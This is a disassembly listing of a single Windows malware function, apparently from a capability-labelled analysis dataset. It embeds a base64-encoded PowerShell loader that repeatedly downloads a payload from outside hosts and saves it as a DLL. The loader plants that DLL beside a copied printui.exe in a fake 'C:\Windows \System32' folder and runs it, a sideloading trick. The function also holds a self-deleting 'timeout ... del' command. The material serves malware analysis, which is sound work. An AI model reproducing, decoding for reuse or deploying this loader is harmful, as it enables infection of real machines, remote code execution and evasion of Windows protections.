Function at 0x1400064d0
Capabilities:
Run powershell expression

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x14006c080]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
xor r14d, r14d
mov dword [rbp + 8], r14d
call fcn.1400050a0
test eax, eax
jns 0x140006522
mov eax, 1
jmp 0x140006f71
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov qword [rbp], r14
mov edx, 3
lea rcx, [rbp + 0x10]
call fcn.140005580
nop
lea rcx, str.___Current_path:_
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x28], 0x14
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x14000655d
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x38], rax
movups xmm0, xmmword [rbp - 0x40]
movups xmmword [rsp + 0x68], xmm0
movabs rax, 0xc000000000000000
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x40], 1
lea rax, [rsp + 0x60]
mov qword [rbp - 0x38], rax
movaps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rsp + 0x40], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x60], xmm1
lea r8, [rsp + 0x40]
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x80]
call fcn.14000e440
mov esi, 0x80
mov rdx, qword [rbp - 8]
cmp rdx, qword [rbp]
je 0x1400065fc
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r14
mov qword [rdx + 0x18], r14
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp - 0x70]
movups xmmword [rdx + 0x10], xmm1
movdqa xmm0, xmmword [0x140065920]
movdqu xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x80], r14w
add qword [rbp - 8], 0x20
jmp 0x140006611
lea r8, [rbp - 0x80]
lea rcx, [rbp - 0x10]
call fcn.14000ea90
movdqa xmm0, xmmword [0x140065920]
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x140006659
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000664c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006fa7
call fcn.140018bd4
movdqa xmm0, xmmword [0x140065920]
movdqu xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x80], r14w
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x1400066a3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000669e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006fad
call fcn.140018bd4
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x58], 7
mov word [rbp + 0x40], r14w
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, eax
movzx edi, r14w
lea r15, str.___INDEX:__n___parent_path:__n___parent_pid:_
movabs r12, 0x2000000000000000
movabs r13, 0xc000000000000004
mov qword [rbp - 0x40], r14
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
mov dword [rbp + 0x80], 0x30
mov qword [rbp - 0x28], r14
mov eax, ebx
mov qword [rbp - 0x30], rax
lea r9, [rbp - 0x30]
lea r8, [rbp + 0x80]
mov edx, 0x1fffff
lea rcx, [rbp - 0x40]
call fcn.1400177b4
test eax, eax
js 0x1400068d6
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
mov dword [rbp + 8], r14d
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
lea r8, [rbp + 0x10]
xor edx, edx
mov rcx, qword [rbp - 0x40]
call fcn.1400177cc
mov ebx, eax
mov rcx, qword [rbp - 0x40]
call fcn.140017778
test ebx, ebx
js 0x1400068d6
mov rbx, qword [rbp + 0x38]
lea rdx, [rbp + 0x40]
mov ecx, ebx
call fcn.140006290
test al, al
je 0x1400068d6
inc di
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 0x34
movzx eax, di
mov dword [rbp + 0x98], eax
mov qword [rbp + 0x80], r12
lea rax, [rbp + 0x40]
cmp qword [rbp + 0x58], 7
cmova rax, qword [rbp + 0x40]
mov qword [rbp - 0x80], rax
mov rax, qword [rbp + 0x50]
mov qword [rbp - 0x78], rax
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rbp + 0x9c], xmm0
mov qword [rbp + 0x88], r13
mov dword [rbp + 0xac], ebx
movabs rax, 0x2000000000000014
mov qword [rbp + 0x90], rax
mov qword [rbp - 0x60], 3
lea rax, [rbp + 0x80]
mov qword [rbp - 0x58], rax
movaps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x40], xmm0
movaps xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x60], xmm1
lea r8, [rbp - 0x40]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x10]
call fcn.14000e440
or esi, 1
mov rdx, qword [rbp - 8]
cmp rdx, qword [rbp]
je 0x14000686e
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r14
mov qword [rdx + 0x18], r14
movups xmm0, xmmword [rbp + 0x10]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x20]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x20], r14
mov edx, 7
mov qword [rbp + 0x28], rdx
mov word [rbp + 0x10], r14w
add qword [rbp - 8], 0x20
jmp 0x14000687f
lea r8, [rbp + 0x10]
lea rcx, [rbp - 0x10]
call fcn.14000ea90
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x1400068bb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400068b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006fb3
call fcn.140018bd4
mov qword [rbp + 0x50], r14
lea rax, [rbp + 0x40]
cmp qword [rbp + 0x58], 7
cmova rax, qword [rbp + 0x40]
mov word [rax], r14w
jmp 0x1400066e2
test di, di
jne 0x14000691b
mov rax, qword [rbp - 8]
cmp rax, qword [rbp]
je 0x14000690f
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], r14
mov r8d, 0x24
lea rdx, str.____Parent_process_operation_failed.
mov rcx, rax
call fcn.14000c310
add qword [rbp - 8], 0x20
jmp 0x14000691b
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.14000ed30
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0xb0]
call fcn.140036040
lea rcx, [rbp + 0xb0]
call fcn.140007a00
nop
mov rdi, qword [rbp - 8]
mov rbx, qword [rbp - 0x10]
cmp rbx, rdi
je 0x140006985
nop dword [rax]
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14000695d
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rbp + 0xc0]
call fcn.14000e7d0
lea rdx, str._n___________________________________________________n
mov rcx, rax
call fcn.14000baa0
add rbx, 0x20
cmp rbx, rdi
jne 0x140006950
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov rcx, r14
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r14w
or esi, 0x20
mov dword [rbp + 8], esi
xor eax, eax
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
mov r8, qword [rbp + 0x138]
mov eax, r8d
and al, 0x22
cmp al, 2
je 0x1400069f3
mov rax, qword [rbp + 0x108]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400069f3
mov rax, qword [rbp + 0xe8]
mov r9, qword [rax]
cmp rdx, qword [rbp + 0x130]
cmovb rdx, qword [rbp + 0x130]
sub rdx, r9
jmp 0x140006a25
test r8b, 4
jne 0x140006a61
mov rax, qword [rbp + 0x100]
mov r8, qword [rax]
test r8, r8
je 0x140006a61
mov rax, qword [rbp + 0xe0]
mov r9, qword [rax]
mov rax, qword [rbp + 0x118]
movsxd rdx, dword [rax]
add rdx, rdx
sub rdx, r9
add rdx, r8
mov rax, r9
sar rdx, 1
test rax, rax
je 0x140006a61
lea rcx, [rsp + 0x40]
cmp rdx, 7
ja 0x140006a57
mov qword [rsp + 0x50], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
call fcn.1400359a0
mov word [rsp + rbx + 0x40], r14w
jmp 0x140006a5c
call fcn.14000c080
mov rcx, qword [rsp + 0x50]
test rcx, rcx
jne 0x140006a85
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [0x140065930]
movdqu xmmword [rsp + 0x70], xmm1
mov byte [rsp + 0x60], cl
jmp 0x140006b22
lea r8, [rsp + 0x40]
cmp qword [rsp + 0x58], 7
cmova r8, qword [rsp + 0x40]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, ecx
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rdx, rbx
xor r8d, r8d
lea rcx, [rbp + 0x10]
call fcn.140008130
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rcx, qword [rbp + 0x10]
lea r8, [rsp + 0x40]
cmp qword [rsp + 0x58], 7
cmova r8, qword [rsp + 0x40]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rcx
mov r9d, dword [rsp + 0x50]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movups xmm0, xmmword [rbp + 0x10]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rbp + 0x20]
movups xmmword [rsp + 0x70], xmm1
mov rdx, qword [rsp + 0x60]
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmovbe rdx, rax
mov r8, qword [rsp + 0x70]
add r8, rdx
lea rcx, [rbp + 0x60]
call fcn.14000bd60
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140006b85
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b80
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006fb9
call fcn.140018bd4
movdqa xmm0, xmmword [0x140065930]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140006bda
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006bd5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006fbf
call fcn.140018bd4
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r14w
cmp qword [rbp + 0x70], 0
jne 0x140006c13
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x140065920]
movdqu xmmword [rbp - 0x50], xmm1
mov word [rbp - 0x60], r14w
jmp 0x140006ca2
lea r8, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova r8, qword [rbp + 0x60]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, dword [rbp + 0x70]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
mov r8, rbx
xor edx, edx
lea rcx, [rbp + 0x10]
call fcn.14000c1e0
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 7
cmova rdx, qword [rbp + 0x10]
lea r8, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova r8, qword [rbp + 0x60]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdx
mov r9d, dword [rbp + 0x70]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movups xmm0, xmmword [rbp + 0x10]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rbp + 0x20]
movups xmmword [rbp - 0x50], xmm1
lea rcx, [rbp - 0x60]
call fcn.140005c50
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x140006cec
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006ce7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006fc5
call fcn.140018bd4
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
mov r8d, 0x50c
lea rdx, str.powershell__Command___decoded___System.Text.Encoding_::UTF8.GetString__System.Convert_::FromBase64String_JGNvdW50ZXIgPSAwOw0KJHB5bFBhdGggPSAiQzpcVXNlcnNcUHVibGljXHB5bGQuZGxsIjsNCmZvciAoOzspew0KCWlmICgkY291bnRlciAtbGUgMyl7DQoJCShOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoImh0dHBzOi8vZ2l0aHViLmNvbS91bnZkMDEvdW52bWFpbi9yYXcvbWFpbi91bjIvYm90cHJudC5kYXQiLCAkcHlsUGF0aCk7DQoJfQ0KCWVsc2V7DQoJCShOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoImh0dHA6Ly91bnZkd2wuY29tL3VuMi9ib3Rwcm50LmRhdCIsICRweWxQYXRoKTsNCgl9DQoJU3RhcnQtU2xlZXAgLVNlY29uZHMgMjsNCglpZiAoVGVzdC1QYXRoICRweWxQYXRoKXsNCgkJY21kIC9jIG1rZGlyICJcXD9cQzpcV2luZG93cyBcU3lzdGVtMzIiOw0KCQljbWQgL2MgeGNvcHkgL3kgIkM6XFdpbmRvd3NcU3lzdGVtMzJccHJpbnR1aS5leGUiICJDOlxXaW5kb3dzIFxTeXN0ZW0zMiI7DQoJCWNtZCAvYyBtb3ZlIC95ICJDOlxVc2Vyc1xQdWJsaWNccHlsZC5kbGwiICJDOlxXaW5kb3dzIFxTeXN0ZW0zMlxwcmludHVpLmRsbCI7DQoJCVN0YXJ0LVNsZWVwIC1TZWNvbmRzIDI7DQoJCVN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICJDOlxXaW5kb3dzIFxTeXN0ZW0zMlxwcmludHVpLmV4ZSI7DQoJCWJyZWFrOw0KCX0NCgllbHNlew0KCQlbTmV0LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpTZWN1cml0eVByb3RvY29sID0gW05ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOw0KCQlTdGFydC1TbGVlcCAtU2Vjb25kcyAyMDsJDQoJfQ0KCWlmICgkY291bnRlciAtZXEgMTApew0KCQlicmVhazsNCgl9DQoJJGNvdW50ZXIrKzsNCn0____Invoke_Expression__decoded__
lea rcx, [rbp + 0x10]
call fcn.14000c310
nop
mov edx, 0xffffffff
lea rcx, [rbp + 0x10]
call fcn.140005a70
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x140006d61
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006fcb
call fcn.140018bd4
mov edx, 3
lea rcx, [rbp + 0x10]
call fcn.140005580
nop
lea rax, str.timeout__t_10__nobreak__del__q___
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 0x25
lea rax, [rbp + 0x10]
cmp qword [rbp + 0x28], 7
cmova rax, qword [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov rax, qword [rbp + 0x20]
mov qword [rsp + 0x48], rax
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp - 0x78], xmm0
movabs rax, 0xc000000000000000
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x40], 1
lea rax, [rbp - 0x80]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rbp - 0x60]
movdqa xmmword [rsp + 0x40], xmm1
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x30]
call fcn.14000e440
nop
xor edx, edx
lea rcx, [rbp - 0x30]
call fcn.140005a70
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x140006e3e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006e38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006fd1
call fcn.140018bd4
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x140006e7f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006e79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006fd7
call fcn.140018bd4
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140006eba
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006eb5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006fdd
call fcn.140018bd4
mov qword [rbp + 0x70], r14
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
lea rcx, [rbp + 0xb0]
call fcn.1400061a0
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 7
jbe 0x140006f17
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006f12
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006fe3
call fcn.140018bd4
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x58], 7
mov word [rbp + 0x40], r14w
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x140006f6f
mov rdx, qword [rbp - 8]
call fcn.14000cdd0
mov rdx, qword [rbp]
mov rcx, qword [rbp - 0x10]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006f6a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006fa1
call fcn.140018bd4
xor eax, eax
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.140018810
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140020f88
nop
call fcn.140020f88
nop
call fcn.140020f88
nop
call fcn.140020f88
nop
call fcn.140020f88
nop
call fcn.140020f88
int3
call fcn.140020f88
int3
call fcn.140020f88
nop
call fcn.140020f88
nop
call fcn.140020f88
nop
call fcn.140020f88
nop
call fcn.140020f88
int3